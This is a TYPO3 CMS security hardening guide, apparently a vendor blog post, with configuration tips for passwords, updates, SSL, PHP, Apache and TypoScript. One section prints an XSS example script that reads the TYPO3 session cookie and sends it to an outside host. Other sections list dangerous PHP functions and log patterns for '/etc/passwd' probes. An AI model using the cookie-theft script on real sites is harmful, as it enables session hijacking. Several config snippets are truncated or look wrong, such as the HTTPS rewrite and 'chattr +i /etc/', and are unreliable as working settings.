TYPO3 Security Guide

TYPO3 is More Secure than Other OpenSource Projects

Since starting, the TYPO3 core has been designed with strong and robust security.

I’m feeling very proud to be part of the TYPO3 community which has the world’s most popular PHP CMS and Framework.

Check interesting statistics at Sucuri for the OpenSource project’s security.

Why TYPO3 Security Matters?


A hacked TYPO3 site can cause serious damage to your business revenue and reputation. Hackers can steal user information, passwords, install malicious software, sell data, and can even distribute malware to their customers.

Worst, you may find yourself paying ransomware to hackers just to regain access to your website.

In March 2016, Google reported that more than 50 million website users have been warned about a website they’re visiting may contain malware or steal information.

TYPO3 Core vs TYPO3 Extensions: Security Loop-wholes

TYPO3 core is developed and maintained by around 40-50 people that are highly skilled and experienced TYPO3 developers. With constant depth testing, There are very fewer chances to have security loops holes into the TYPO3 core.

The fact is, Major TYPO3 hack is due to TYPO3 extensions. The TYPO3 app store so-called TYPO3 Extensions Repository (TER) contains more than 5000+ Extensions which has been developed by 2000+ TYPO3 developers.

Since everybody can submit extensions to the TER, the code quality varies greatly. Some extensions show a very high level of code quality, while others may have been written by amateurs. Most of the known security issues in TYPO3 have been found in these extensions, which are not part of the core system.

What Types of TYPO3 Security Threats?

Information disclosure
Information disclosure is when an application fails to properly protect sensitive and confidential information from parties that are not supposed to have access to the subject matter in normal circumstances.

Identity theft
Identity theft, also known as identity fraud, is a crime in which an imposter obtains key pieces of personally identifiable information (PII), such as Social Security or driver's license numbers, in order to impersonate someone else.

Code injection
Code injection is the exploitation of a computer bug that is caused by processing invalid data.

SQL injection
SQL Injection (SQLi) is a type of injection attack that makes it possible to execute malicious SQL statements.

Cross-Site Request Forgery (XSRF)
Cross-Site Request Forgery (CSRF or XSRF) is another example of how the security industry is unmatched in its ability to come up with scary names.

Cross-Site Scripting (XSS)
Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.

Let’s start to take action to protect your TYPO3 website :)

#1 Secure Your All Passwords

Start with simple, make sure you have strong passwords of your site’s TYPO3 users, SSH/SFTP, Database, etc.,

Install Popular EXT:be_secure_pw

The extension from Thomas - TYPO3.org man has developed a cool TYPO3 extension. This extension gives you the possibility to force secure passwords from your BE users. You can set up the password patterns like e.g. capitals, digits, etc. and a minimal length of the password. After activating the extensions, your BE users must fit the patterns and the length of the password to save a new one!

You can set a reminder to let the users remind you of changing their password.

#2 Backup Backup Backup!

Imagine a situation,

“Once in the morning, you get notified that your or your potential customer’s TYPO3 site is down due to a server crash or has been hacked by someone.”

I guess you will feel helpless if you don’t have the last backup of your TYPO3 website.

One major fact about ensuring website security, Backup is the only safest way whenever you consider your TYPO3 Security.

Highly recommend to read How to Backup TYPO3 Site: 7 Best TYPO3 Backup Extensions for 2020 

Also, recently team T3Planet developed first-ever all-in-one TYPO3 backup extension, you may be interested to get our free and one of the popular Backup Plus TYPO3 Extension.

#3 Keep Up-to-date TYPO3 Core Updates

One of the most secure ways is to keep stay up-to-date with your TYPO3 core.

Many websites gettings hacked due to outdated TYPO3 versions. With each latest release of TYPO3, You will get security fixing and new features.

You should consider updating three below TYPO3 versions type.

1. Update TYPO3 Minor Version

Contains security releases and bug fixing eg., Update from TYPO3 v10.4.2 to v10.4.3

2. Update TYPO3 Major Version

It contains new features of particular LTS, security releases, and bug fixing eg., Update from TYPO3 v10.3 to v10.4.

3. Update TYPO3 LTS Version

Contains major new features of LTS (Long Term Support), security release, and bug fixing eg., Update from TYPO3 v10.4.2 to v10.4.3

How to plan your TYPO3 update?

Based on TYPO3’s future release plan or roadmap, You can prepare your TYPO3 website to be updated. Check out typo3.org/cms/roadmap

I recommend reading one of my popular TYPO3 blogs at The Ultimate Guide to TYPO3 Update/Upgrade

#4 Keep Up-to-date & Remove Unused TYPO3 Extensions

Most of the TYPO3 websites have TYPO3 extensions (either from TER or custom-made), sometimes which cause issues in security.

Whenever you perform the TYPO3 update, make sure to consider updating TYPO3 extensions too. 

Many responsible TYPO3 contributors are regularly releasing their extensions at TER as security release, bug fixing release, and compatible with the latest TYPO3 version.

Keep either update or remove unnecessary TYPO3 extensions from your TYPO3 instance.

Notification of New Release

To get email notifications of your favorite TYPO3 extension, You just need to log in at https://extensions.typo3.org/ and Enable “Notify me via email on new release” button.

Report: TYPO3 Extensions Compatibility

To get better reports and notifications like getting email extensions status notification of your whole TYPO3 website, I recommend using our TYPO3 Extensions Compatibility report TYPO3 extension.

#5 Secure Your TYPO3 and Server Architecture

One of the awesome TYPO3 server architecture solutions from Helmut is TYPO3 Secure Web.

We highly recommend that you install this TYPO3 package, Let me try to give you a quick overview.

How can more secure TYPO3 CMS on server architecture

Let’s make the following kind of awesome secure folder structure of TYPO3 with the private and public folder.

Folder Description
public which only contains assets like CSS/js/images etc., for the web public users.
private which contains typo3 core sysext, typo3conf ext, etc.,
var which contains cache, log, session, etc.,
vendor which contains CMS as well as extension’s vendors.


A step-by-step guide to setup TYPO3 Secure Web

Team T3Planet always use industries best standards and approach using Docker, DDEV, and Composer for all TYPO3 projects.

Step 1. Create a project folder

mkdir my-site
cd my-site

Step 2. Configure PHP version

ddev config --project-type php --php-version 7.4

Step 3. Download latest TYPO3 version through Composer

ddev composer create typo3/cms-base-distribution ^10 --no-interaction
ddev config --project-type typo3
ddev start

Step 4. Run TYPO3 Installation Wizard

touch public/FIRST_INSTALL

Step 5. At composer.json, Setup private and public folders

"extra": {
    "typo3/cms": {
        "root-dir": "private",
        "web-dir": "public"

Step 6. Secure your TYPO3 with folders structure private and public

ddev composer require helhum/typo3-secure-web

Step 7. Done :)

Once you have successfully installed TYPO3-secure-web package, it will organize whole folders and files architecture at your server as follows:

Private Folder - No More Access on Web

“private” folder will point to the code of TYPO3 core and extensions. No web public user will be able to access your TYPO3 code.
Root architecture of private folder

Public Folder - Only Assets Access on Web

“public” folder will point as web server document root, and only contains assets files. At each folder, you will able to see only /Resources/Public/ folder which will symlink to a particular private /Resources/Public/ folder.

Root architecture of public folder

The architecture of public/typo3temp

Architecture of TYPO3 extension only contains /Resources/Public/ eg., EXT:news  /public/typo3conf/ext/news

The architecture of the TYPO3 core only contains /Resources/Public/ eg., EXT:backend /public/typo3/sysext/backend/

#6 Automatic TYPO3 Access Checker

Javan Rasokat developed automatic TYPO3 Security tool call "Typo3AccessChecker" which is python3 based security package. This tool scans if your typo3 instance is correctly secured by testing restrictions and permissions to important endpoints.


git clone https://github.com/JavanXD/Typo3AccessChecker.git
cd Typo3AccessChecker
python3 -m pip install requests progressbar

Start a Scan of https://typo3.org with the default checklist:

python3 check_axxess.py https://typo3.org checklist.txt`

Start a Scan of https://typo3.org and use a proxy (e.g. OWASP ZAP/Burp/Fiddler). The proxy function helps you during a manual check by displaying the exact answer you received.

python3 check_axxess.py https://typo3.org checklist.txt --proxy localhost:8080

List of possible arguments:

python3 check_axxess.py -h

#7 TYPO3 Security Package

As part of the Data handler & Persistence TYPO3 Initiative, they have created a TYPO3 Security Package.

This implementation is a proof-of-concept prototype and thus experimental development. Since not all planned features are implemented, this extension should not be used for production sites.


composer config repositories.security git https://github.com/typo3-initiatives/security
composer require typo3/cms-security

#8 Check Code Quality of Your TYPO3 Extensions

Thanks to the Marketing Factory guys who did setup automation TYPO3 code review tool Sonarqube for TER (TYPO3 Extensions Repository).

Check TYPO3 Code Quality

Step 1. Go to TER Sonarcube

Step 2. Search your extension key at the top-right corner

Step 3. You can check the quality of extension with possible bugs, code smells, duplication of code, etc.,

#9 SSL/HTTPS: Secure You TYPO3 Website

Your TYPO3 website should run on SSL/HTTPS. Also, SSL is also more important to speed-up your site’s performance as well SEO-ranking.

Configure SSL/HTTPS for TYPO3 Backend

# TYPO3 Install Tool Configuration
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL'] = ‘2’;

Configure SSL/HTTPS for TYPO3 Frontend

Option 1: Using TYPO3

Using Site Management into TYPO3 version >= 9.x

Using TypoScript for TYPO3 version <= 8.x  

TypoScript Constants

# Define constantan for baseURL & Absolute URI prefix
domain {
	#cat = site_default/website/domain/01; type=string; label=Domain name for Base URL: 
	baseURL = 

	#cat = site_default/website/domain/02; type=string; label=Absolute URI prefix:
	absRefPrefix = 

TypoScript Setup

# Set baseURL setting for http or https
config.baseURL = {$site_default.website.domain.baseURL}

[globalString = _SERVER|HTTPS=on]
	config.baseURL = {$site_default.website.domain.baseURL}

Option 2: Using .htaccess

Frontend Site: Redirect to HTTPS

RewriteCond %{HTTPS} on
RewriteCond %{REQUEST_URI} !^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]

TYPO3 Backend: Redirect to HTTPS

RewriteCond %{HTTPS} off
RewriteCond %{REQUEST_URI} ^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]

#10 TYPO3 Security Reports

TYPO3 core provides a feature to check the security status of your TYPO3 instance.

Go to System > Reports > Status Report > Security

#11 Check Permissions of Files/Directories

It’s important to check access and permissions of files and directories.

Go to Admin Tools > Environment > Directory Status

#12 Disable Your TYPO3 Install Tool

The install tools allow anyone to configure the whole TYPO3 instance.

Remove /typo3conf/ENABLE_INSTALL_TOOL file

Change Password of Your TYPO3 Install Tool

No one should be allowed to able to see the listing of your directories and files like;

Apache Configuration to Disable TYPO3 Directory Indexing

<Directory /path/to/your/typo3/>
  Options FollowSymLinks

#15 Allows/Disallow File Extension Handling

Most web servers have a default configuration mapping file extensions like .html or .txt to corresponding mime-types like text/Html or text/plain

Apache Configuration

<FilesMatch ".+\.html?$">
    AddType text/html     .html .htm
<FilesMatch ".+\.php$">
    SetHandler application/x-httpd-php

#16 Secure Your Database

The TYPO3 database contains all data of backend and frontend users and therefore special care must be taken not to grant unauthorized access.

  • Secure Passwords and Minimum Access Privileges With MySQL
  • Database not Within Web Document Root With SQLite
  • Disallow External Access
  • Limited Access to Database Administration Tools like phpMyAdmin

#17 Improve Your PHP Security Configuration

Due to the fact that TYPO3 is a PHP application, secure PHP settings are also important, of course. Here are some PHP security tips.

# Restrict PHP Information Leakage
# Disabling Dangerous PHP Functions
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
# Turn Off Remote Code Execution
allow_url_fopen = Off
allow_url_include = Off
# Limit PHP Access To File System
# Enable SQL Safe Mode
# Control POST Size

PhpSecInfo: Check with advanced PHP tools


And most important, always keep PHP, Software, And OS Up to Date!

#18 TYPO3 Encryption Key

The encryption key is used as the “salt” for various kinds of encryption, checksums, and validations (e.g. for the cHash).

Keep in mind that this string is security-related and you should keep it in a safe place.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'] = 'encryptionKey';

Go to Admin Tools > Settings > Configure Installation-Wide Options

#19 Secure Your TYPO3 Cookie

cookieSecure indicates that the cookie should only be transmitted over a secure HTTPS connection between client and server. Set an appropriate option to secure your TYPO3 cookies.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieSecure'] = '1';

Go to Admin Tools > Settings > Configure Installation-Wide Options

#20 Disable TYPO3 Errors

Publically, You should disable TYPO3 errors.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = '0';

Go to Admin Tools > Settings > Configure Installation-Wide Options

#21 TYPO3 Access only to Developers & Backend Users

Defines a comma-separated list of IP addresses which will allow development-output to display (information disclosure).

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '';

Go to Admin Tools > Settings > Configure Installation-Wide Options

#22 Check Reports and Logs

You should keep your eyes on reports and logs generated by TYPO3, In that way, you can figure out security issues eg., Trying to access TYPO3 backend several times by bots.

Go to System > Log

Watch Your Logs & Auditing

Check the apache log file.

# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log

Check the php log file.

# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log

#23 Cross-Verify Check TYPO3 Checksum

In order to ensure that the downloaded TYPO3 package is an official package released by the TYPO3 developers, compare the SHA2-256 checksum of the downloaded package with the checksum stated on the TYPO3 website, before you extract/install TYPO3. You find the SHA2-256 checksums on get.typo3.org

#24 Secure Your Web Servers

Just try Google by searching to improve your server’s security, and Keep improve your web server which is very important.

Here are some tips to help you;

# Write Protect Apache, PHP, and, MySQL Configuration Files
chattr +i /etc/php.ini
chattr +i /etc/php.d/*
chattr +i /etc/my.ini
chattr +i /etc/httpd/conf/httpd.conf
chattr +i /etc/
# Use Linux Security Extensions (such as SELinux)
# Install Mod_security
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/
# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"

#25 Never, Ever Use FTP

FTP is outdated and has a lot of problems, and sometimes it can be outright dangerous, however, it’s wide-spread acceptance as an easy way for transferring files makes it hard to switch to alternative protocols.

  • Absolutely insecure your website
  • Lack of encryption
  • Firewall not works
  • Character encoding issue
  • Spaces in file-names
  • Line breaks issue

#26 Allowed Only Your Domain to TYPO3

Set your domain at TYPO3’s Trusted Hosted Pattern

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] = 'youdomain.com';

Go to Admin Tools > Settings > Configure Installation-Wide Options

#27 Enable Email Notification for Login Attempt

The email address defined here will receive notifications, whenever an attempt to login to the Install Tool is made. TYPO3 will also send a warning whenever there are more than three failed backend login attempts (regardless of the user) are detected within one hour.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr'] = ‘your@email.com’;
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode'] = ‘2’;

Go to Admin Tools > Settings > Configure Installation-Wide Options

#28 TYPO3 Access Users, Roles & Privileges

TYPO3 core provides complex access and privileges to backend and frontend users too.

You can define permissions on a user-level, on a group-level, on pages, on functions, on DB mounts, even on content elements, and more.

Make sure to safely and smartly providing access and roles for all users to avoid any security cause.

#29 Write Secure TypoScript code

TYPO3 have great configuration option flexibility with TypoScript, But you should take care while using it, here are some examples.

SQL injection

The argument passed by the GET / POST request page-id wrapped as markers are properly escaped and quoted to prevent SQL injection problems.

page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###PAGEID###
    markers {
        PAGEID.data = GP:pageid

Cross-site scripting (XSS)

Similar applies for XSS placed in TypoScript code. The following code snippet gives an example:

page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS: TypoScript</h1>
    <p>Cookie data submit to google.com!</p>
  20 = TEXT
  20.value (
    <script type="text/javascript">
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'http://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);

External file inclusion

Should use standard way to include external file

<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">

.Htaccess restriction for TypoScript files

<FilesMatch "\.typoscript">
  deny from all

The integrity of external JavaScript files

Safest way to integrate external JS files into TypoScript

page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=

#30 Strictly Follow TYPO3 Coding Standards Guidelines

As major TYPO3 Security causes issues with custom TYPO3 extensions which have been developed and maintained by TYPO3 developers.

They should understand, develop, and follow all coding standards defined by the TYPO3 core and community.

#31 Helpful TYPO3 Security Extensions

We should appreciate the TYPO3 community, TYPO3 people are more serious about TYPO3 Security.

That’s why you may find many TYPO3 extensions at TER which can help you in concern to secure your TYPO3. Here is a list of some of the popular TYPO3 Security extensions.
